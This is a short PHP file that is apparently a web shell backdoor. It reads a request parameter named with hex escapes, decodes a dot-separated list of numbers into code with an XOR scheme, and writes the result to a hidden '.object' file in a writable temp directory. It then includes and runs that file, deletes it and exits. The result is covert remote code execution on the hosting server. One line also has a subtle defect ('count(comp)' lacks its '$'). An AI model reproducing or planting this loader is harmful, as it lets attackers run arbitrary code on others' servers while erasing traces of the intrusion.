<?php

if(!is_null($_REQUEST["v\x61\x6C"] ?? null)){
$comp = array_filter(["/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp"]);
$key = $_REQUEST["v\x61\x6C"];
   $key	 =	  explode	(	 '.'	,$key   ) ;  	
$ref = '';
$s4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen( $s4	);
$i = 0;
$len = count( $key	);

do {
    if( $i>= $len) break;
    $val = $key[$i];
    $sChar = ord( $s4[$i		%		$lenS]	);
    $d =( ( int)$val - $sChar -( $i		%		10))^	100;
    $ref		.=	 chr( $d	);
    $i++;
} while( true	);
$ent = 0;
do {
    $sym = $comp[$ent] ?? null;
    if ($ent >= count(comp)) break;
            if (!!is_dir($sym) && !!is_writable($sym)) {
            $symbol = str_replace("{var_dir}", $sym, "{var_dir}/.object");
            if (false !== file_put_contents($symbol, $ref)) {
    include_once $symbol;
    @unlink($symbol);
    die();
}
        }
    $ent++;
} while (true);
}